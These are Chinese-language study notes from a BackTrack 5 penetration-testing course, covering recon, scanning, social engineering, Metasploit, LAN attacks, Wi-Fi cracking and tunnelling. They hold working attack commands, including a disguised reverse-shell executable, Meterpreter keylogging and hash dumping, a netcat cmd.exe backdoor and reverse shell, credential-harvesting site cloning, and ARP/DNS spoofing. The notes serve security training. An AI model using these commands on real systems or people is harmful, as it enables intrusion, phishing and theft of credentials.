BT5明教教主視訊記錄
BackTrack 4: Assuring Security by Penetration Testing
BT 不是黑客程式,是安全滲透測試工具集,是安全檢測工具集。
1.資訊收集
A.dns資訊收集
dnsenum
1.通過google搜尋擷取額外名字或子域域名
2.使用txt檔案暴力破解猜測可能的域名條目
3.使用whois查詢
4.反向查詢
5.支援多重查詢
dnsenum -f dns.txt --dnsserver ns1.cisco.com cisco.com -o out.txt
dnsmap
dnsmap cisco.com -w wordlist.txt -c cisco.csv
dnsmap可以輸出為csv格式檔案,可以用excle打開
dns伺服器之間區域傳送使用tcp 53
客戶機到伺服器之間使用udp 53
伺服器之間的區域傳送是認證的,使用dns工具時可能會嘗試區域傳送,大都失敗。
B.路由資訊收集
傳統的路由收集使用:
traceroute www.cisco.com (cisco/linux使用此指令)
tracert www.cisco.com(windows使用此指令)
傳統的traceroute效果不好,因為很多防火牆會把traceroute流量過濾掉。
cisco裝置:traceroute ip
會使用udp協定的,高目的端口33434,ttl=1,
第二個包目的端口33435,ttl=2,
很多網際網路防火牆會屏蔽掉高端口upd協定的資料包。
如果通過的話,經過的路由器會報ttl逾時的icmp包,進而得到此路由的ip位址。
當到達目的位址時,也會回一個icmp資料包,内容為端口不可達。traceroute完成。
如果通路的是沒有開放的tcp 端口,回複類型為reset。
windows平台的
tracert
直接是發echo request,經過的路由回複ttl逾時,目的地回複icmp reply。
以上兩種tracert效果不好,高端口udp包會屏蔽,echo request 會屏蔽。
BT5使用特有的tcptraceroute,它發送的是TCP SYN包,目的端口80。
很少拒絕或阻斷掉,ttl值由一開始遞增。
tcptraceroute www.cisco.com
收到syn/ack表示端口開放,到達,收到RST表示端口關閉,也是到達目的。
tctrace:類似于tcptraceruote指令。
tctrace -i eth0 -d www.cisco.com
C.maltego
是一個開放源的智能資訊收集工具。
1.收集公司組織關聯到人
2.郵件位址
3.網站相關的人
4.社群網絡關聯到的人
5.電話号碼關聯到人
添加一個搜尋—管理—添加搜尋的角色—添加一個域名
2.掃描工具
a.主機發現
arping 對直連網絡使用(LAN),使用arp request進行測試,判斷一個特定ip是否在使用。跨網絡不能用,直連網絡非常有效。不使用ping的ICMP的echo request協定。
arping -c 3 10.1.1.1
fping 快速使用echo request進行ping,使用ping,快速掃描。
hping3 功能強大,可手動定制資料包,可發起dos攻擊。
nbtscan 掃描windows主機netbios名字掃描一個ip位址範圍的netbios名字資訊。
nbtscan 10.1.1.1-254
nping
可以自定義資料包
nping -c 1 --udp -p 80 10.1.1.1
nping -c 1 --tcp -p 80 --flag ack 10.1.1.1
upd 端口不可達是icmp
tcp 端口不可達是reset
onesixtyone snmp掃描工具
用于找出裝置上的SNMP Community字串,掃描速度非常快。
protos -i eth0 -d 10.1.1.1
掃描主機支援的協定,比較好使的是針對路由器,探測主機開啟哪些協定,不是服務。
b.作業系統指紋
p0f 被動的檢測作業系統類型工具,通過流量檢測。
cisco ios 用p0f來檢測作業系統指紋,用于Cisco IPS 比對威脅庫
xprobe2 主動探測作業系統指紋
c.端口掃描
nmap 綜合性的,并且特性豐富的端口掃描工具,是一個滲透測試者必備工具。
主機發現、服務版本檢測、作業系統檢測、網絡追蹤等功能。
nmap -v -n -sP 10.1.1.0/24 掃描存活主機
nmap -v -n -A 10.1.1.1
可以進一步探測開放的端口是什麼服務。通過相應腳本去連結、探測服務類型。
可以自定義指紋,如果有一種裝置是nmap不認識的,會生成一個指紋。
d.服務探測
amap 探測特定端口上運作的服務程式。
amap -bq 10.1.1.1 80
ike-scan
ike掃描工具,用于探測ipsec vpn伺服器支援的政策。
sslscan 10.1.1.2
3.漏洞發現
a.cisco工具
cisco auditing tool
掃描cisco路由器一般性漏洞,老的bug,預設密碼,snmp community字元串
CAT
b.snmp工具
c.http工具
burp suit是一個功能強大的web應用安全工具。
burp suite可以作為代理抓取http的資料包,甚至可以更改資料包。
比如修改遠端控制的指令。
nikto 掃描由于伺服器配置失誤造成的漏洞
掃描web伺服器存在目錄及檔案。
w3af 需手動安裝
wafw00f 用于檢測waf有沒有存在,是哪一家的waf。
d.smb工具
e.nessus
非常知名的且功能強大的綜合漏洞發現工具,有免費和收費版本。有linux和windows版本。
kali linux預設沒有安裝,需要手動安裝。
4.社會工程學工具
比如:制造一個病毒,通過郵件發送給其他人。發送給指定人員針對性的攻擊時魚叉式網絡釣魚。
a.JAVA Applet Attack Method
SET 進階的功能強大的工具集。
vi config/set_config
METASPLOIT PATH=/pentest/exploits/framework3
修改預設路徑為正确的安裝路徑
ETTERCAP=ON
ettercap打開用于DNS欺騙
EMAIL_PROVIDER=gmail.com
設定郵件伺服器
JAVA_ID_PARAM=Java Server
插件名,寫一個看起來靠譜的名字
SELF_SIGNED_APPLET=ON
支援自簽名插件
最好配合dns欺騙,可以使用ETTERCAP
需要設定email伺服器,如果需要發送郵件的話。
做好以後開始進行攻擊。
./set
1.社會工程學攻擊—》網頁攻擊—》java攻擊—》克隆站點
用戶端主動把shell送過來。
木馬封裝方式,防毒軟體會通過特征代碼判斷是病毒還是攻擊。
把木馬通過欺騙的方式讓使用者打開克隆的網站,通過java攻擊
b.Credential Harvester Attack Method
2.社會工程學攻擊—》網頁攻擊—》身份資訊收集—》克隆站點
這是讓使用者通過假冒的郵箱網站輸入使用者名密碼得到使用者資訊,而且收集到以後會轉到正确網站,不讓使用者發現。
支援https
5.應用層攻擊MSF
msfconsole 進階攻擊工具套件,應用層攻擊,支援開發,插件,可以更新,用于攻擊新的漏洞
a.msfconsole
可以調用nmap進行掃描,把掃描結果存到msf的資料庫
db_nmap -sV -n -o -v 10.1.1.1
直接在msf下執行nmap,結果不會加入到資料庫。
db_autopwn
自動攻擊
使用msf攻擊的時候調用漏洞庫。
sessions -i 1
getuid
run hashdump
到出賬戶密碼的hash值
通過遷移到關鍵系統程序獲得管理者權限。比如遷移到 explore.exe
ps 檢視系統程序
migrate 1576
連接配接以後可以得到賬号hash值,可以使用暴力破解軟體算出來。
可以打開遠端桌面,可以獲得系統資訊,可以檢視系統程序。
可以鍵盤記錄,建立使用者。
keyscan_start
keyscan_dump
keyscan_stop
run getgui -e
打開遠端桌面
run getgui -u admin admin
添加admin賬戶
使用linux下遠端桌面工具
rdesktop 10.1.1.2:3389
破解密碼
使用暴力破解程式破解微軟密碼,密碼是hash值。
ophcrack -g -d ~/tables_xp_free_small/ -t ~/tables_xp_free_small/ -f ~/sam-new-test
b.msf 離線攻擊
msf線上攻擊如果通過網際網路以後就會有防火牆隔斷,離線攻擊就是利用社會工程學制造一個腳本讓使用者主動連接配接過來。
./msfpayload windows/meterpreter/reverse_tcp LHOST=10.1.1.1 LPORT=33333 X > /tmp/newgames.exe
當使用者輕按兩下時會主動連結過來
msfconsole
本地建立一個伺服器,等待用戶端連接配接。
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST
set LPORT
exploit
進入等待狀态
連接配接以後可以做第一個辦法裡的後續攻擊。
6.區域網路攻擊
a.mac泛洪攻擊
unknown unicast flooding
不知道目的的單點傳播包
就是交換機收到目的mac位址不在cam表裡的包,就會轉發到所有的端口。
泛洪攻擊就是利用交換機這個特性。
mac flooding attacks
制造大量随機僞裝源的包發到交換機,交換機會把此條目添加到cam表裡,當數量到達交換機最大容量時,就會把正常逾時條目覆寫掉,合法主機條目逾時後就被移除了,而且加不進來了。這樣正常通訊的資料包經過交換機時交換機找不到正确的端口轉發,就會向所有端口轉發。這樣攻擊者就能收到資料包了。
macof 指令就是發送大量包,實際上是把交換機變成了集線器。
可以多開幾個
dsniff 這個工具是專門用來抓取敏感資料包的。
解決辦法,交換機端口綁定
b.cdp
yersinia -G
一個綜合型的區域網路攻擊工具
可以打開圖形化界面
攻擊者可以建立大量cdp 鄰居,消耗交換機的資源。
攻擊者也可以擷取交換機資訊。
c.dhcp
黑客攻擊使用yersinia 發送大量dhcp discovery的包請求位址。
讓正常的dhcp伺服器位址配置設定耗盡,然後黑客架設自己的dhcp伺服器。
同時配置設定一個網關,讓所有的流量經過自己。
d dtp
cisco 2950 3550 交換機接口預設啟動了動态trunk protocol接口,2個交換機把網線一接就可以自動啟動trunk,是個友善管理的設定。
對攻擊者而言也可以友善啟動trunk,啟動trunk以後可以看到其他vlan 的流量。
也可以通過yersinia制造各種tag的資料包 。
dtp 動态trunk協定
e hsrp
可以使用yersinia 把hsrp的主用搶過來,becoming active (mitm)并且轉發。
可以通過hsrp設定密鑰來解決這個問題。
f.stp
讓本機成為根
g.arpspoof
做arp欺騙
通過發送未請求應答,主動發送arp應答給目标主機和網關,讓目标主機認為攻擊者就是網關,讓網關認為攻擊者就是目标主機,實際上是雙毒化arp
同時在攻擊者上面啟用路由功能,實作目标主機和網關之間的流量經過攻擊者。
在攻擊之前先把路由功能打開,預設情況下電腦是沒有路由功能的。
echo > 1 /proc/sys/net/ipv4/ip_forward
啟用linux路由功能。
arpspoof -t 10.1.1.1 10.1.1.2
欺騙1,說我就是2.
再啟動一個視窗
arpspoof -t 10.1.1.2 10.1.1.1
欺騙2,說我是1.
然後啟動dsniff 或者其他抓包工具或者用wireshark抓包。
解決辦法是交換機DAI動态監控技術來抵禦arp欺騙
h.ettercap
arp欺騙
功能強大的工具
圖形化的
ettercap -G
添加目标1,目标2
然後開始arp毒化 arp poisoning,捕獲連接配接。
i.ettercap
進行dns欺騙
跟剛才arp欺騙前面操作一樣,先進性arp欺騙.
目标1是目标主機,目标2是網關
編輯
/usr/share/ettercap/etter.dns
把欺騙的條目添加進去。
在ettercap裡,點選插件,管理插件,輕按兩下dns_spoof
使用set工具進行社會工程學攻擊,克隆網站。
7.密碼破解
a.無線密碼破解
airmon-ng start wlan0
開始對wlan0監控
airodump-ng -w test mon0
開始抓包儲存為test
airodump-ng -c 5 -w test mon0
5号信道監控
監控一段時間,檢視到關聯的用戶端
進行deauth攻擊
aireplay-ng -0 5 -a 00:16:46:c5:f2:c0 -c 00:1e:65:57:77:b0 mon0
-a 後跟ap的mac位址,-c後跟用戶端mac位址
做5次deauth攻擊,然後就能看到握手資料包。
然後暴力破解
aircrack-ng -w /wordlists.lst test-*.cap
選擇握手過程的包
剛才的抓包會産生test-1,test-2等資料封包件。
b.cisco密碼破解
線上密碼破解,就是使用軟體通過網絡模拟登入暴力破解賬戶資訊。
ncrack -U user.txt -v -P pass.txt telnet://10.1.1.2
ncrack --user cisco -v -P pass.txt telnet://10.1.1.2
ssh也可以支援,https也支援
8 維持通路
a. dns隧道技術
10.1.1.100 bt5
10.1.1.101 bt5
10.1.1.1 dns伺服器
10.1.1.2 路由器
需要dns映射,主機映射到10.1.1.100
把ssh等其他應用封裝到udp 53 的流量上,貌似就是dns 查詢。
而且不直接把udp 53流量指向跳轉主機。
dns2tcpd.conf
listen = 0.0.0.0
port = 53
chroot = /tmp
domain = dnstunnel.name.org
resources=ssh:10.1.1.2:22
在本地所有位址監聽,監聽53端口,任何使用者都可以連接配接,
./dns2tcpd -F -d 1 -f dns2tcpd.conf
啟動服務進行監聽,使用指定配置檔案。
以上配置是跳轉主機。
客戶機上配置
測試能不能提供服務
./dns2tcpc -z dnstunnel.name.org
下面修改用戶端配置檔案
dns2tcpc.conf
domian = dnstunnel.mingjiao.org
resource = ssh
local_port = 2222
定義本地端口2222,當使用ssh連接配接本地端口2222的時候,就是用tunnel技術連接配接dnstunnel.name.org域名
啟動用戶端 ./dns2tcpc -c -f dns2tcpc.conf
listening on port : 2222
ssh -p 2222 [email protected]
ssh連接配接本地2222端口
b.ping隧道技術
ptunnel
伺服器端輸入此指令就是打開ping tunnel
用戶端 ptunnel -p 10.1.1.100 -lp 2222 -da 10.1.1.2 -dp 22
用戶端建立隧道,連接配接本地2222端口的時候ping 隧道到10.1.1.100,然後伺服器轉到10.1.1.2 的22端口。
然後在用戶端輸入ssh -p 2222 [email protected]
如果抓包會看到echo request 資料包,裡面内容加密。
c.ssl隧道技術
伺服器端配置
stunnel.conf
accept = 2323
connect = 10.1.1.2:23
建立臨時檔案夾
啟動伺服器端:stunnel /etc/stunnel/stunnel.conf
執行後沒有提示,但已經在背景運作。
用戶端配置:
stunnel.conf
accept = 2323
connect = 10.1.1.100:2323
當連接配接本地2323端口時,轉到10.1.1.100的2323端口
用戶端啟動: stunnel /etc/stunnel/stunnel.conf
然後在用戶端執行:telnet 127.0.0.1 2323
stunnel用戶端服務端的配置好像相同,隻是資料流不一樣。
d.代理伺服器3proxy
3proxy.cfg 新版kali沒有
external 10.1.2.1
internal 10.1.1.1
tcppm 80 10.1.1.1 80
當連接配接外部位址10.1.2.1的80的時候,轉到内部位址10.1.1.2的80上
3proxy cfg /cfg/3proxy.cfg
檢視是否工作
netstat -nap | grep 80
可以用在網絡裝置開啟http服務的情況。
e.netcat
隻有60k大小,也叫瑞士軍刀。功能很多很多,黑客必備工具。左後門比較合适因為比較小。
netcat擁有很多功能,可以掃描端口,可以連接配接ftp伺服器。
nc -v -n -z 10.1.1.1 1-1024
ftp連接配接
nc 10.1.1.1 21
指定21端口就是使用ftp協定進行連接配接。
輸入的應該是應用層指令
PORT 10,1,1,101,4,38
輸入PORT以後伺服器會跟客戶機建立一個第二信道,通過第二信道執行一些指令
nc http 請求
nc 202.102.1.101 80 (以下内容手敲進去)
GET / HTTP
nc smtp
用nc發送郵件
nc pop3收郵件
通過nc制造後門,有windows版,也有linux版
nc.exe -d -L -p 1234 -e cmd.exe
啟動一個服務端,端口為1234,當有連接配接進來時,把cmd.exe給你。
L是斷開後可以重連,l斷開後不能重連
然後在用戶端這麼連接配接:nc 10.1.1.1 1234
第二種是自己作為伺服器,讓中标的主動連過來。
在本地: nc -l -p 1234
在本地1234端口等待連接配接。
殭屍電腦上執行
nc.exe -d 10.1.1.101 1234 -e cmd.exe
把cmd.exe送給10.1.1.101的1234
通過nc傳檔案
nc.exe -u 10.1.1.101 53 < test.txt
把test.txt通過udp 53傳給10.1.1.101
本地
nc -l -u -p 53 > file.txt
本地udp 53端口進行偵聽,把檔案放到file.txt
netcat容易被防毒軟體發現,但是源代碼是公開的,可以修改。
中繼功能
nc可以中繼,跟代理伺服器差不多,同時可以抓包。
首先改配置檔案。
telnet_relay (要有可執行權限)
#!/bin/bash
nc -o telnet.hack.out 10.1.1.2 23
#輸出到telnet.hack.out
然後執行
nc -l -p 23 -e telnet_relay
就是在本地偵聽23号端口,轉到telnet_relay
cryptcat
nc提供了強大的功能,但是有個缺點是流量是明文。
此工具對流量進行加密,用法一樣。